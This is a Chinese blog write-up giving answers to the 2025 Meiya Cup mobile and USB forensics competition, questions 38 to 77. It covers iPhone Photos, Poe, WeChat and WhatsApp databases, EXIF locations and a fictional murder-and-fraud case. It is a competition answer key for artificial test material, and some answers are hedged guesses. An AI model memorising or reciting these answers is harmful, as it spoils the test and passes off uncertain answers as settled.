id="38-单选题-请指出在app照片套件识别码-comapplemobileslideshow中储存多媒体文件img_0014mov与储存img_0016mov之间有没有其他多媒体文件储存到app照片中">38. [单选题] 请指出在APP「照片」(套件识别码: com.apple.mobileslideshow)中，储存多媒体文件「IMG_0014.MOV」与储存「IMG_0016.MOV」之间有没有其他多媒体文件储存到APP「照片」中？</h3><p>A. 有</p><p>B. 没有</p><p>C. 有拍摄，但没有储存</p><p>D. 无法确认<br/>B<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201140110722.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-048-523b65f24d.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201141557777.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-049-d57eca76cb.png"/><br/>数据库里的Z_PK值是连在一起的，所以没有</p><h3 id="39-单选题-承上题第38题mov文件储存以下哪个陈述是正确描述上一题的答案">39. [单选题] 承上题（第38题：MOV文件储存），以下哪个陈述是正确描述上一题的答案？</h3><p>A. 制作多媒体文件「IMG_0015.MOV」时，直接储存到隐藏相册中</p><p>B. 制作作多媒体文件「IMG_0015.MOV」时，直接上传到iCloud</p><p>C. 制作多媒体文件「IMG_0014.MOV」时用了缩时摄影</p><p>D. 制作多媒体文件「IMG_0015.MOV」时名称被更改为「IMG_0016.MOV」<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201141924151.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-050-cf0ac368de.png"/><br/>C</p><h3 id="40-单选题-app照片套件识别码-comapplemobileslideshow中img_0027heic的原地理位置信息wgs84是">40. [单选题] APP「照片」(套件识别码: com.apple.mobileslideshow)中，「IMG_0027.HEIC」的原地理位置信息(WGS84)是？</h3><p>A. (22.2816569, 114.1756115)</p><p>B. (22.2826366666667, 114.168503333333)</p><p>C. (22.2826216666667, 114.168525)</p><p>D. (22.2826216666667, 114.168503333333)<br/>C<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201142259302.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-051-7347105314.png"/><br/>C最接近</p><h3 id="41-单选题-曾经通过网络浏览器safari下载了多少个图片文件">41. [单选题] 曾经通过网络浏览器「Safari」下载了多少个图片文件？</h3><p>A. 1</p><p>B. 2</p><p>C. 3</p><p>D. （无内容）<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201143549253.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-052-ace41d16f0.png"/>这么能看到是两张<br/>B</p><h3 id="42-单选题-多媒体文件img_0004mov曾被修改后再储存成另一个文件该文件名称是">42. [单选题] 多媒体文件「IMG_0004.MOV」曾被修改后再储存成另一个文件，该文件名称是？</h3><p>A. IMG_0085.mov</p><p>B. IMG_0086.mov</p><p>C. IMG_0087.mov</p><p>D. IMG_0088.mov</p><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201143701065.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-053-3990d35477.png"/><br/>直接这么搜会只有最后一个结果，当时就直接填上去错了。<br/>分别搜会发现每个文件都有</p><p>1. <code>**理解表结构**</code><br/>- <code>**ZADDITIONALASSETATTRIBUTES**：这个表通常存储资源的额外属性。题目提示需要在这里查找原始文件名为"0004.mov"的记录，它很可能通过一个外键（例如 Z_ASSET）与主资源表关联。</code><br/>- <code>**ZASSET**：这是核心资源表，通常包含当前资源的各种信息，如文件名、路径等。其中的 Z_PK字段通常是主键。</code><br/>2. <code>**确定关联关系**</code><br/><code>这两个表很可能是通过 ZADDITIONALASSETATTRIBUTES表中的某个指向 ZASSET表 Z_PK的字段（例如 Z_ASSET）进行关联的。</code><br/>那么需要先去ZADDITIONALASSETATTRIBUTES表里找一下原始名称是0004.mov的文件，确定其Z_PK，然后再去ZASSET找一下现在的<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201144929767.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-054-c74cb3fe84.png"/><br/><code>SELECT ZFILENAME FROM ZASSET WHERE Z_PK = 82;</code><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201145224486.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-055-2caa667504.png"/><br/>所以选A</p><h3 id="43曾经通过人工智能聊天app-poe查询一个问题请列出这个问题的完整句子请依照参赛材料中的原文作答注意区分大小写空格及符号">43.曾经通过人工智能聊天APP "POE"查询一个问题，请列出这个问题的完整句子？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>搜poe得到了包名：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201150203832.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-056-2bb12a653e.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201150228344.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-057-f976f6a75f.png"/><br/>接着去找数据库<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201150255639.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-058-866e15a9dd.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201151012084.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-059-d8a1df222b.png"/><br/>查询“chat_input“<br/><code>SELECT * FROM records WHERE record LIKE '%chat_input%'</code><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201152538108.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-060-ec7988ca50.png"/><br/><code>&#123;"isDeleted":false,"text":"What’s that mean","chat":&#123;"$reference":"Chat:Q2hhdDoxMDY5ODc1MDcw"&#125;,"bot":null,"creationTime":1744782606792741,"attachments":[&#123;"$reference":"MessageAttachment:TWVzc2FnZUF0dGFjaG1lbnQ6MzQ5NDcxNTAy"&#125;],"reactionCounts":[],"command":null,"messageCode":"1mvs4t45lw2et7a3wk4a","authorNickname":"human","viewerReaction":null,"responsibleJob":null,"messageStateText":null,"viewerCanDelete":true,"hasCitations":false,"canvasTabs":[],"id":"TWVzc2FnZTozNzcwNTE2MjYzNjY=","contentType":"text_markdown","__typename":"Message","authorUser":&#123;"$reference":"PoeUser:UG9lVXNlcjoyOTkzNDM5Mzc1"&#125;,"messageId":377051626366,"isChatAnnouncement":false,"sourceType":"chat_input","state":"complete","referencedMessage":null&#125;</code><br/>得到答案：What’s that mean</p><h3 id="44承上题请指出提问的日期及时间答题格式-yyyy-mm-dd-hhmmss-作答-gmt8">44.承上题，请指出提问的日期及时间(答题格式: yyyy-MM-dd HH:mm:ss 作答, GMT+8)</h3><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201152827185.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-061-f7d1941298.png"/><br/>2025-04-16 13:50:06</p><h3 id="45承上题当时使用的是哪一个机器人请依照参赛材料中的原文作答注意区分大小写空格及符号">45.承上题，当时使用的是哪一个机器人?(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201153003768.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-062-73ead338c6.png"/><br/>gpt4_1_mini</p><h3 id="46承上题当时的使用者名称是请依照参赛材料中的原文作答注意区分大小写空格及符号">46.承上题，当时的使用者名称是？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201153549041.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-063-62a8f6b2e0.png"/><br/>这里有user的id，但不是答案<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201153716482.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-064-a7f35e46ec.png"/><br/>还要在数据库里搜一下看到全名：Duncan</p><h3 id="47请指出即时通讯软件wechat的-wechat-id请依照参赛材料中的原文作答注意区分大小写空格及符号">47.请指出即时通讯软件"WeChat"的 "WeChat ID"(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201153907391.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-065-dd9ac5830b.png"/><br/> wxid_c9xyspglub7512<br/> <img alt="assets/2025美亚线下个人Joyooo/file-20251201154303680.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-066-41480232e6.png"/><br/> xway也可以直接出</p><h3 id="48-单选题-承上题第47题wechat-id这个wechat-id关注了多少个视频号">48. [单选题] 承上题（第47题：WeChat ID），这个"WeChat ID"关注了多少个「视频号」？</h3><p>A. 1</p><p>B. 2</p><p>C. 3</p><p>D. （无内容）<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201154133644.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-067-95c13d452a.png"/><br/>火焰这里看到是120个，然而答案没有，看来不对，可以右键直接跳转到数据库，也可以找：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201154207453.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-068-f696b43a5b.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201155210325.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-069-f448f6548c.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201160122725.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-070-7ca1509e47.png"/><br/>过滤一下发现只有两个<br/>B</p><h3 id="49请指出即时通讯软件whatsapp的whatsapp-id请依照参赛材料中的原文作答注意区分大小写空格及符号">49.请指出即时通讯软件WhatsApp的WhatsApp ID(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>85254974406@s.whatsapp.net<br/> <img alt="assets/2025美亚线下个人Joyooo/file-20251201160247848.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-071-9fcd84a6c9.png"/></p><h3 id="50-单选题-即时通讯软件whatsapp中封存了下列哪个聊天群">50. [单选题] 即时通讯软件WhatsApp中，封存了下列哪个聊天群？</h3><p>A. 凤凰VIP会员心得交流群</p><p>B. 币淘 群组1</p><p>C. Sportsmen</p><p>D. Titus Wong Manson Finance</p><p>A<br/>分析里群组右键到数据库，过滤一下发现只有A是archived<br/>（这边打开聊天存储数据库ChatStorage.sqlite<br/>查看ZWACHATSESSION的ZARCHIVED的列，如果是1就说明已封存，若是0就没事儿）<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201160828591.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-072-6442da961d.png"/></p><h3 id="51即时通讯软件whatsapp中总共追踪了多少个频道请以阿拉伯数字作答">51.即时通讯软件WhatsApp中，总共追踪了多少个频道？(请以阿拉伯数字作答)</h3><p>19<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201161121204.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-073-bf7ae89905.png"/></p><h3 id="52-单选题-即时通讯软件whatsapp中下列哪个是群组-investors-的管理员i-85254974406swhatsappnetii-85260927726swhatsappnetiii-85254961408swhatsappnet">52. [单选题] 即时通讯软件「WhatsApp」中，下列哪个是群组 "Investors" 的管理员？（i) 85254974406@s.whatsapp.net；ii) 85260927726@s.whatsapp.net；iii) 85254961408@s.whatsapp.net）</h3><p>A. 只有 i)</p><p>B. 只有 i) 和 ii)</p><p>C. 只有 ii) 和 iii)</p><p>D. 以上皆是<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201162400700.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-074-7a51bace37.png"/><br/>能直接看见<br/>B</p><h5 id="53即时通讯软件whatsapp中群组-investors-的群组id请依照参赛材料中的原文作答注意区分大小写空格及符号">53.即时通讯软件「WhatsApp」中，群组 "Investors" 的群组ID？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h5><p>120363417204753192@g.us</p><p>见上题</p><h5 id="54即时通讯软件whatsapp中社群名称是什么请依照参赛材料中的原文作答注意区分大小写空格及符号">54.即时通讯软件「WhatsApp」中，「社群」名称是什么？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h5><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201162705274.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-075-24ac9ca890.png"/><br/>We are 3</p><h3 id="55-单选题-承上题第54题whatsapp社群名称请指出这个社群的群组图案的哈希值sha256格式">55. [单选题] 承上题（第54题：WhatsApp社群名称），请指出这个社群的群组图案的哈希值(SHA256格式)？</h3><p>A. B1A3706C574F81A3EE084FB9509997E06349E86D904D1DC10B879D1D5ED83125</p><p>B. B8BA258402925E139CAFBBBBBC809EC160B70BB03DBD4D0F3063F58F69D0B956</p><p>C. E43ADC646295BC5011577D4E733B6289D31A5E11ACB45285BE1FF530260DF383</p><p>D. 20E64C78F9926548CEEFB1783991A4AD71A6631F3C86002254342E323A898C6A</p><p>A<br/>跳到源文件算一下</p><h3 id="56即时通讯软件whatsapp中找出whatsapp-id85254961408swhatsappnet曾经是在而现在已经不在的群组请指出该群组的名称请依照参赛材料中的原文作答注意区分大小写空格及符号">56.即时通讯软件「WhatsApp」中，找出WhatsApp ID:85254961408@s.whatsapp.net曾经是在而现在已经不在的群组，请指出该群组的名称。(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h3><p>先确定这个ID是谁，发现是陈民浩<img alt="assets/2025美亚线下个人Joyooo/file-20251201163158216.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-076-8319079d8f.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201163030875.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-077-697a120a00.png"/></p><h3 id="57即时通讯软件whatsapp中总共出现了多少个投票活动请以阿拉伯数字作答">57.即时通讯软件「WhatsApp」中，总共出现了多少个「投票」活动？(请以阿拉伯数字作答)</h3><p>投票活动会有[投票消息]这个前缀<br/>直接搜：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201163603350.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-078-3cdccda7ce.png"/><br/>15个</p><h5 id="58承上题总共在多少个投票活动中作出了投票请以阿拉伯数字作答">58.承上题，总共在多少个「投票」活动中作出了投票？(请以阿拉伯数字作答)</h5><p><strong>2</strong></p><p>看wiki佬的是说看数据库</p><p><img alt="原图暂不可用" data-original-src="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073230525-57454907-5071-4c07-b249-2bdc90991aef.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073230525-57454907-5071-4c07-b249-2bdc90991aef.png" rel="noopener" target="_blank">原始链接</a></span></p><p>看到这句话，这句话上面就是投票消息</p><p><img alt="原图暂不可用" data-original-src="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073260588-00023da4-7b99-45ef-8420-0a819ff3ad6f.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073260588-00023da4-7b99-45ef-8420-0a819ff3ad6f.png" rel="noopener" target="_blank">原始链接</a></span></p><p>可以看到投票消息的 <code>ZMESSAGETYPE</code> 字段的值为 <code>46</code>, 以此进行过滤:</p><pre><code>SELECT ZMESSAGETYPE, ZMESSAGEINFO, ZTEXT, ZFROMJID, ZTOJID  FROM ZWAMESSAGEWHERE (ZTOJID = "120363400622997111@g.us"    OR ZFROMJID = "120363400622997111@g.us")    AND ZMESSAGETYPE = 46;</code></pre><p><img alt="原图暂不可用" data-original-src="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073352488-865c0152-dd3c-45b6-b473-56f86a02b7d9.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073352488-865c0152-dd3c-45b6-b473-56f86a02b7d9.png" rel="noopener" target="_blank">原始链接</a></span></p><p>可以看到上述的 3 条投票消息的记录.</p><p><code>ZWAMESSAGEINFO</code> 表中存储着消息的详细信息, 该表的 <code>Z_PK</code> 字段与 <code>ZWAMESSAGE</code> 表的 <code>ZMESSAGEINFO</code> 字段相对应, 该表的 <code>ZRECEIPTINFO</code> 中以 Protobuf 的格式保存着详细的消息信息. 通过 SQL 语句可以找到所有投票消息及其对应的 Protobuf:<img alt="原图暂不可用" data-original-src="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073384716-cce4d77a-f8e9-4d16-a083-c03f0b07a7df.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073384716-cce4d77a-f8e9-4d16-a083-c03f0b07a7df.png" rel="noopener" target="_blank">原始链接</a></span></p><p>用 CyberChef 解码 Protobuf 的 16 进制字符串, 可以看到其中包含的投票记录</p><p><img alt="原图暂不可用" data-original-src="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073561489-acfea960-0d02-408a-abbb-4ae2d8eae571.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://cdn.nlark.com/yuque/0/2025/png/49937241/1764073561489-acfea960-0d02-408a-abbb-4ae2d8eae571.png" rel="noopener" target="_blank">原始链接</a></span></p><h3 id="59-单选题-即时通讯软件whatsapp中根据群组iq-coin-犯罪计划对话内容正在策划哪一种犯罪">59. [单选题] 即时通讯软件「WhatsApp」中，根据群组「IQ COIN 犯罪计划？」对话内容正在策划哪一种犯罪？</h3><p>A. 诈骗</p><p>B. 抢劫</p><p>C. 谋杀</p><p>D. 以上都不对<br/>A<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201165030176.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-084-e90e850bfe.png"/></p><h5 id="60承上题该群组建立者的whatsapp-id是什么请依照参赛材料中的原文作答注意区分大小写空格及符号">60.承上题，该群组建立者的WhatsApp ID是什么？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h5><p>85254974406@s.whatsapp.net<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201165134929.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-085-5215f52bf7.png"/></p><h5 id="61承上题该群组的建立时间是什么请以gmt-8时区及以下格式作答-yyyy-mm-dd-hhmmss">61.承上题，该群组的建立时间是什么？(请以GMT +8时区及以下格式作答: yyyy-MM-dd HH:mm:ss)</h5><p>2025-04-25 16:57:55</p><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201172718096.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-086-1cae24d9f7.png"/></p><h3 id="62-单选题-根据你的分析结果三人因感情瓜葛内讧因而发生这次袭击事件你怀疑梁燕玲曾到袭击现场你将你的发现通知警察警察扩大现场搜索范围终于在案发现场附近发现陈民浩名下的小汽车车上发现一部智能手机请你以参赛材料leung_yl_mobilezip回答该手机用作注册icloud的email">62. [单选题] 根据你的分析结果，三人因感情瓜葛内讧因而发生这次袭击事件。你怀疑梁燕玲曾到袭击现场，你将你的发现通知警察。警察扩大现场搜索范围，终于在案发现场附近，发现陈民浩名下的小汽车，车上发现一部智能手机。请你以参赛材料LEUNG_YL_Mobile.zip回答：该手机用作注册iCloud的email？</h3><p>A. lingleung1502@gmail.com</p><p>B. lingleung1502@yahoo.com.hk</p><p>C. lingleung1503@gmail.com</p><p>D. lingl1502@gmail.com</p><p>A<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201172938014.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-087-64aef4fd16.png"/></p><h3 id="63-单选题-参考leung_yl_mobilezip文件img_0021heic-所拍摄的相机型号是甚么">63. [单选题] 参考LEUNG_YL_Mobile.zip，文件IMG_0021.HEIC 所拍摄的相机型号是甚么？</h3><p>A. iPhone SE (3rd generation)</p><p>B. iPhone SE (2nd generation)</p><p>C. iPhone 12 mini</p><p>D. iPhone XR<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201174924171.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-088-f50b64ebb9.png"/>iPhone SE (3rd generation)<br/>选A</p><h5 id="64参考leung_yl_mobilezip文件img_0005jpg所拍摄的座标wgs-84是多少请以纬度经度的顺序及以下格式作答xxxxxxxxxxxxxxxx">64.参考LEUNG_YL_Mobile.zip，文件IMG_0005.JPG所拍摄的座标(WGS 84)是多少？(请以纬度,经度的顺序及以下格式作答xx.xxxxxx,xx.xxxxxx)</h5><p>xway一下发现：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201182600145.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-089-7eb169876e.png"/><br/><code>**信息被剥离**：您提供的元数据末尾有“EXIF stripped”的备注，这明确表示该图片经过后期处理，原有的 EXIF 数据（极有可能包括 GPS 信息）已被移除或损坏</code></p><p><code>。常见的操作如通过微信等社交软件发送、某些图像编辑软件保存时未保留元数据，都会造成此结果。</code><br/>那么需要换种方法用exiftool看一下：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201183306136.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-090-44159d4d5b.png"/><br/>(22.629706,120.312569)</p><h3 id="65-单选题-参考leung_yl_mobilezip文件img_0022jpg是以下哪种方向拍摄">65. [单选题] 参考LEUNG_YL_Mobile.zip，文件IMG_0022.JPG是以下哪种方向拍摄？</h3><p>A. 不旋转</p><p>B. 旋转180度</p><p>C. 顺时针90度</p><p>D. 逆时针90度<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201183858779.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-091-b562949334.png"/><br/>如上图：根据图片中EXIF元数据明确显示的“<strong>图像取向：90° CCW</strong>”，CCW是“Counter Clockwise”的缩写，意为逆时针。<br/>选D</p><h5 id="66文件img_0022jpg的建立时间gmt-0800是请以gmt-8时区及以下格式作答-yyyy-mm-dd-hhmmss">66.文件IMG_0022.JPG的建立时间(GMT +08:00)是?(请以GMT +8时区及以下格式作答: yyyy-MM-dd HH:mm:ss)</h5><p>2025/05/16  11:33:15 <br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201184045194.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-092-c0ca6ca7cb.png"/></p><h5 id="67参考leung_yl_mobilezip在whatsapp-与85254974406swhatsappnet聊天对话中于2025-05-16-113339时的信息所传送的座标wgs-84是多少请以纬度经度顺序及以下格式作答xxxxxxxxxxxxxx-xxxxxxxxxxxxxxx">67.参考LEUNG_YL_Mobile.zip，在WhatsApp 与”85254974406@s.whatsapp.net”聊天对话中，于2025-05-16 11:33:39时的信息所传送的座标(WGS 84)是多少?(请以纬度,经度顺序及以下格式作答xx.xxxxxxxxxxxx, xxx.xxxxxxxxxxxx)</h5><p>搜索后锁定消息：<img alt="assets/2025美亚线下个人Joyooo/file-20251201184334765.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-093-0f26b297ef.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201184516052.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-094-772d25b117.png"/><br/>到位置里选择检材过滤时间<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201184544598.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-095-3e5dead7e0.png"/><br/>22.278848726819984,114.29062196271781<br/>22.2760486602783,114.295440673828</p><h5 id="68参考leung_yl_mobilezip在whatsapp-与-85254974406swhatsappnet聊天对话中于2025-05-16-113339时的信息所传送的座标wgs-84所指的餐厅英文名称是-请依照参赛材料中的原文作答注意区分大小写空格及符号">68.参考LEUNG_YL_Mobile.zip，在WhatsApp 与 "85254974406@s.whatsapp.net”聊天对话中，于2025-05-16 11:33:39时的信息所传送的座标(WGS 84)所指的餐厅英文名称是? (请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h5><p>Fai Kee Seafood Restaurant<br/>同上</p><h5 id="69参考leung_yl_mobilezip在whatsapp-中聊天群组id-120363401289578356里于2025-04-29-083102机主传送了一个pdf-文件该pdf的内容是什么请依照参赛材料中的原文作答注意区分大小写空格及符号">69.参考LEUNG_YL_Mobile.zip，在WhatsApp 中聊天群组ID 120363401289578356里，于2025-04-29 08:31:02，机主传送了一个PDF 文件，该PDF的内容是什么？(请依照参赛材料中的原文作答，注意区分大小写、空格及符号)</h5><p><img alt="assets/2025美亚线下个人Joyooo/file-20251201184745444.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-096-af96c47938.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201185142054.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-097-3d799a2bd5.png"/>右键后在资源管理器里打开<br/>打开后是空白：<img alt="assets/2025美亚线下个人Joyooo/file-20251201185243119.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-098-80b0c99b8a.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201185327835.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-099-e09688875c.png"/>发现能选中<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201185424223.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-100-ea11b1d9fb.png"/><br/>0xe36D4bCf0132B8Dc7317C2Fb9bfa1845629F6638</p><h3 id="70-单选题-参考leung_yl_mobilezip在whatsapp-中聊天群组id-120363401289578356里有多少个参加者">70. [单选题] 参考LEUNG_YL_Mobile.zip，在WhatsApp 中聊天群组ID 120363401289578356里，有多少个参加者？</h3><p>A. 2</p><p>B. 3</p><p>C. （无内容）</p><p>D. 5<br/>搜搜id看到就是这个IQ COIN<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201185538532.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-101-1a13b1bb2d.png"/><br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201185709019.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-102-d07952e6d3.png"/><br/>B</p><h3 id="71-单选题-参考leung_yl_mobilezip于2025-04-25-171137-时使用whatsapp-所拨打的手机号码是多少">71. [单选题] 参考LEUNG_YL_Mobile.zip，于2025-04-25 17:11:37 时使用WhatsApp 所拨打的手机号码是多少？</h3><p>A. 85254962307</p><p>B. 85254961408</p><p>C. 85254974406</p><p>D. 85254993306<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201185832038.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-103-27018b95d8.png"/><br/>C</p><h3 id="72-单选题-参考leung_yl_mobilezip总共有多少个whatsapp的通话记录-包括拨打接收及未接来电">72. [单选题] 参考LEUNG_YL_Mobile.zip，总共有多少个WhatsApp的通话记录？ (包括拨打、接收及未接来电)、、</h3><p>A. 4</p><p>B. 5</p><p>C. 6</p><p>D. 7<br/>D<br/>同上</p><h3 id="73-单选题-参考leung_yl_mobilezipwhatsapp-聊天群组id-120363400622997111-的群组名称是">73. [单选题] 参考LEUNG_YL_Mobile.zip，WhatsApp 聊天群组ID 120363400622997111 的群组名称是？</h3><p>A. Investors</p><p>B. Foodies</p><p>C. We are 3</p><p>D. Happy Sharing within 3<br/>Happy Sharing within 3<br/>D<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201190342394.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-104-96807e8c94.png"/></p><h3 id="74-单选题-参考leung_yl_mobilezipwhatsapp-聊天群组happy-sharing-within-3-于2025-04-17-101234-传送的wgs-84座标是多少">74. [单选题] 参考LEUNG_YL_Mobile.zip，WhatsApp 聊天群组Happy Sharing within 3 于2025-04-17 10:12:34 传送的WGS 84座标是多少？</h3><p>A. 22.323436345441, 113.276894376508</p><p>B. 22.326923370361, 114.168403625488</p><p>C. 21.239876452236, 115.925422314543</p><p>D. 20.124955642236, 114.168403625488<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201191438980.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-105-b5789616e5.png"/><br/>B</p><h3 id="75-单选题-参考leung_yl_mobilezipinstagram-的版本是">75. [单选题] 参考LEUNG_YL_Mobile.zip，Instagram 的版本是？</h3><p>A. 375.2.0.15.82 (722575504)</p><p>B. 376.1.0.14.56 (722575504)</p><p>C. 376.1.0.27.82 (722575504)</p><p>D. 376.0.0.17.23 (722575504)<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201191959363.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-106-034ab6bc57.png"/>仍旧搜索，找到包名，搜索定位目录，查看plist文件：<br/>376.1.0.27.82 (722575504)<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201192248864.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-107-ddfdf51a8c.png"/><br/>也可以xway爆一下<br/>选C</p><h5 id="76-填空题参考leung_yl_mobilezip社交媒体软件instagram-的安装时间">76. [填空题]参考LEUNG_YL_Mobile.zip，社交媒体软件Instagram 的安装时间?</h5><p>(请以GMT+8时区及格式YYYY-MM-DD hh:mm:ss作答)<br/>刚才的plist文件里有：<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201192421607.png" loading="lazy" src="/blog/img/cnblogs/19382339/image-108-9707bff1b3.png"/><br/>2025-04-26T03:50:47Z<br/>+8一下<br/>2025-04-26 11:50:47</p><h3 id="77题目内容见题目描述77-2分">77.题目内容见题目描述（77） (2分)</h3><p>跟据你的分析，警察在香港西贡蕉坑，找到一个行李箱，内藏一名女子尸体，身上没有任何身份证明文件，裤袋内搜获一个U盘，根据法医初步检验，死者头部及颈部有明显瘀伤，相信曾发生激烈争执，死因为气管受压导致窒息，死亡时间相信是在2025-05-16  0900时至1000时 。调查人员初步检查这个U盘，没有发现可疑资料，现在交由你进行电子数据鉴定工作。请参考参赛材料LEUNG_YL_USB.E01，答以下问题<br/>参考LEUNG_YL_USB.E01，这个U盘里有多少个分区？<br/>(请以阿拉伯数字作答)<br/>2<br/><img alt="assets/2025美亚线下个人Joyooo/file-20251201193957388.png" loading="lazy" 